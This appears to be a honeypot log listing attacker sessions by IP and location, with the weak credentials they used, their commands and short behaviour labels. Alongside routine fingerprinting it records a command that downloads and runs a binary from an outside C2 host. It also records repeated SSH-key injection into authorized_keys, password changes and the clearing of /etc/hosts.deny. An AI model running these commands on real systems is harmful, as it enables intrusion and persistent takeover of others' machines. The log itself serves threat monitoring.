$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ lurking_nomad_root (195.178.110.228) โ€” Andorra la Vella, Andorra ยท 171 sessions ยท 1494 cmds
2026-06-26 13:37 EDT ยท as admin/123456, admin/admin, admin/admin123
OS fingerprinting via uname -s -v -n -m โ†’ kernel version extraction from /proc/version โ†’ OS detection via /etc/os-release โ†’ uptime retrieval from /proc/uptime โ†’ system profiling for resource assessment
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—146
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—171
$ /bin/uname -s -v -n -m 2 > /dev/null ร—162
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—162
$ busybox uname -s -v -n -m 2 > /dev/null ร—162
$ ( [ -f /proc/version ] ร—162
$ [ -f /proc/version ] ร—162
$ head -1 /proc/version | cut -d -f1 ร—162
$ [ -f /etc/os-release ] ร—162
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—15
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ร—9
$ uname -m 2 > /dev/null ร—9
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ร—9
๐ŸŽญ zealous_blitz_root (31.77.147.80) โ€” Frankfurt am Main, Germany ยท 1 session ยท 5 cmds
2026-08-16 01:39 EDT ยท as root/123456
echo โ†’ payload download from C2 โ†’ execute from /tmp โ†’ '8
$ echo 1 > /dev/null && cat /bin/echo
$ nohup $SHELL -c "curl http://8.138.19.119:9777/linux -o /tmp/CXPLpeGq4r; if [ ! -f /tmp/CXPLpeGq4r ]; then wget http://8.138.19.119:9777/linux -O /tmp/CXPLpeGq4r; fi; if [ ! -f /tmp/CXPLpeGq4r ]; then exec 6<>/dev/tcp/8.138.19.119/9777 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/CXPLpeGq4r ; chmod +x /tmp/CXPLpeGq4r && /tmp/CXPLpeGq4r x3TpZjReYXo8uY3fHDMF0oi4I39jUDdn9m2xqGbsaCpCZHsosYjZASAE2JC6Inl4QjBm9mO2vGLrazZQZ30rpozbHDUHxoy7IHZhRzRs+GewqGXrbSpBZ3w8uo3bCDcF3I6oI31gXjJs9mW2s3rpbzVKbnUhup7cBS4D2IumJXh4QT1r4mO2smP4bzRBeH0hupDZBzYc2ou5KHRnQzR+622ot2TgcDNCeH8gsofZBTcS2oy4PH1uQCpn4Xqxt27ubjVAY2wjvofGBzgc3oamJ3xsSTFr7XS+qGXrZipBb2IjuYfSCzcF3568JWJkQz1w6W23qGXvaT5GZHsiqI/aAy4G2JC6I394QTRr4m21vmD4ZipCZ3Q8uozdHDQA0oi4I3xnUDdv9mOxqGXsaSpIZnYkvYbfEjQFxoe7PH5kRSps626xtmbvfjFJeH0juJDRHDEK0YSxJHRiUDBp9m21qGbrbSpBYXkosI3dBSAD3YymIX54QjBu9mWwsW7hazFGdnglpozcAC4F3JCxIXZhRzZu+GW+tnrvaCpBZXs8u4nSBDAD24uoKn94QTJm9mW3tnrpbT5GYngqqIrfHDkHxoy6K2JkRD1k4WK0t3TpbjVeZ38hpo/fAy4E2ISwJ3xlUDVv6nqxsnrsaSpBYX4ovorYBSAG35C5In94QT1p9mO1vGLqZjxQY3U8uY/YHDIA0JC5K3VsRjVu6nS3tGf2azNeY308uYbbCDYF2ImoI31mXjBs9maztHrqbj5GYnohAAECh8LSumyYCXrnUK9iD8SBiiDsosbZ2lWGBxw=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/CXPLpeGq4r && /tmp/CXPLpeGq4r x3TpZjReYXo8uY3fHDMF0oi4I39jUDdn9m2xqGbsaCpCZHsosYjZASAE2JC6Inl4QjBm9mO2vGLrazZQZ30rpozbHDUHxoy7IHZhRzRs+GewqGXrbSpBZ3w8uo3bCDcF3I6oI31gXjJs9mW2s3rpbzVKbnUhup7cBS4D2IumJXh4QT1r4mO2smP4bzRBeH0hupDZBzYc2ou5KHRnQzR+622ot2TgcDNCeH8gsofZBTcS2oy4PH1uQCpn4Xqxt27ubjVAY2wjvofGBzgc3oamJ3xsSTFr7XS+qGXrZipBb2IjuYfSCzcF3568JWJkQz1w6W23qGXvaT5GZHsiqI/aAy4G2JC6I394QTRr4m21vmD4ZipCZ3Q8uozdHDQA0oi4I3xnUDdv9mOxqGXsaSpIZnYkvYbfEjQFxoe7PH5kRSps626xtmbvfjFJeH0juJDRHDEK0YSxJHRiUDBp9m21qGbrbSpBYXkosI3dBSAD3YymIX54QjBu9mWwsW7hazFGdnglpozcAC4F3JCxIXZhRzZu+GW+tnrvaCpBZXs8u4nSBDAD24uoKn94QTJm9mW3tnrpbT5GYngqqIrfHDkHxoy6K2JkRD1k4WK0t3TpbjVeZ38hpo/fAy4E2ISwJ3xlUDVv6nqxsnrsaSpBYX4ovorYBSAG35C5In94QT1p9mO1vGLqZjxQY3U8uY/YHDIA0JC5K3VsRjVu6nS3tGf2azNeY308uYbbCDYF2ImoI31mXjBs9maztHrqbj5GYnohAAECh8LSumyYCXrnUK9iD8SBiiDsosbZ2lWGBxw=" &
โ†ณ payload download from C2
$ head -c 3716336 > /tmp/TmVZTaElsx
โ†ณ execute from /tmp
$ echo 1 > /dev/null && cat /bin/echoQtd#0000
$ >A@/`'8
๐ŸŽญ placid_clog_root (91.92.40.124) โ€” Eygelshoven, The Netherlands ยท 84 sessions ยท 84 cmds
2026-07-01 05:13 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 3x across 3 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—84
๐ŸŽญ silent_lotus_pi (116.105.73.162) โ€” Da Nang, Vietnam ยท 6 sessions ยท 9 cmds
2026-08-07 03:38 EDT ยท as pi/raspberry
make executable โ†’ execute payload โ†’ execute from /tmp
$ cd /tmp && chmod +x 5A4PoVun && bash -c ./5A4PoVun ร—3
โ†ณ make executable
$ ./5A4PoVun ร—3
โ†ณ execute payload
$ scp -t /tmp/5A4PoVun ร—3
โ†ณ execute from /tmp
๐ŸŽญ sneaky_eagle_sol (159.223.97.218) โ€” North Bergen, United States ยท 1 session ยท 20 cmds
2026-08-15 16:02 EDT ยท as sol/123456
chmod +x .ssh โ†’ rm -rf .ssh โ†’ mkdir .ssh โ†’ inject ssh-rsa key โ†’ chattr -ia .ssh โ†’ lockr -ia .ssh โ†’ passwd -p 123456 โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ free -m | grep Mem โ†’ ls -lh $(which ls) โ†’ which ls โ†’ cront
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "123456\nKakfogOHpLLW\nKakfogOHpLLW"|passwd|bash
$ Enter new UNIX password:
$ echo "123456\nKakfogOHpLLW\nKakfogOHpLLW\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ glitchy_abba_root (195.178.191.5) โ€” Stockholm, Sweden ยท 1 session ยท 20 cmds
2026-08-15 15:57 EDT ยท as sol/123456
Credential injection via piped passwd echo โ†’ SSH key removal and directory recreation โ†’ CPU model enumeration via /proc/cpuinfo parsing โ†’ memory usage audit using free โ†’ binary signature check on ls โ†’ cron persistence verification โ†’ system architecture detection via uname โ†’ process overview via top
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "123456\n9Fr1fMSfko8c\n9Fr1fMSfko8c"|passwd|bash
$ Enter new UNIX password:
$ echo "123456\n9Fr1fMSfko8c\n9Fr1fMSfko8c\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ rogue_dragon_root (121.224.59.51) โ€” Nanjing, China ยท 1 session ยท 1 cmd
2026-08-15 15:54 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ arctic_silk_root (59.36.233.74) โ€” Guangzhou, China ยท 2 sessions ยท 2 cmds
2026-07-24 07:07 EDT ยท as mysql/mysql, root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a ร—2
โ†ณ OS/kernel identification
๐ŸŽญ baroque_cowboy_root (76.79.213.69) โ€” Los Angeles, United States ยท 3 sessions ยท 41 cmds
2026-07-14 01:18 EDT ยท as oracle/welcome1, root/1234, sol/123456
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—3
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—3
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l ร—2
โ†ณ CPU profiling
$ echo -e "123456\ndEgkLKaAUg66\ndEgkLKaAUg66"|passwd|bash
$ Enter new UNIX password:
$ echo "123456\ndEgkLKaAUg66\ndEgkLKaAUg66\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ร—2
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ร—2
$ ls -lh $(which ls) ร—2
$ which ls ร—2
$ crontab -l ร—2
โ†ณ persistence setup
$ w ร—2
โ†ณ logged-in users check
$ uname -m ร—2
$ cat /proc/cpuinfo | grep model | grep name | wc -l ร—2
โ†ณ CPU profiling
$ top ร—2
โ†ณ process monitoring
$ uname ร—2
โ†ณ OS identification
$ uname -a ร—2
โ†ณ OS/kernel identification
$ whoami ร—2
โ†ณ privilege check
$ lscpu | grep Model ร—2
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ร—2
$ echo "root:aKeITH4yA2nC"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
๐ŸŽญ glitchy_wok_root_73 (82.156.122.73) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-08-15 14:21 EDT ยท as ubuntu/ubuntu
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ hollow_chateau_root (37.187.236.33) โ€” Roubaix, France ยท 1 session ยท 2 cmds
2026-08-15 14:20 EDT ยท as oracle/11111111
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ ironclad_stroopwafel_root (91.92.40.200) โ€” Amsterdam, The Netherlands ยท 67 sessions ยท 67 cmds
2026-07-15 11:55 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 3x across 3 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—67
๐ŸŽญ restless_maple_root (20.104.159.178) โ€” Quรฉbec, Canada ยท 1 session ยท 2 cmds
2026-08-15 09:46 EDT ยท as oracle/rootroot
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ crimson_seoul_root (61.76.38.54) โ€” Ulju-gun, South Korea ยท 1 session ยท 20 cmds
2026-08-15 09:31 EDT ยท as user/password
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "password\nHa7NMl3BShV3\nHa7NMl3BShV3"|passwd|bash
$ Enter new UNIX password:
$ echo "password\nHa7NMl3BShV3\nHa7NMl3BShV3\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ velvet_burger_root_215 (129.121.75.215) โ€” Ashburn, United States ยท 1 session ยท 2 cmds
2026-08-15 09:03 EDT ยท as oracle/Oracle123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
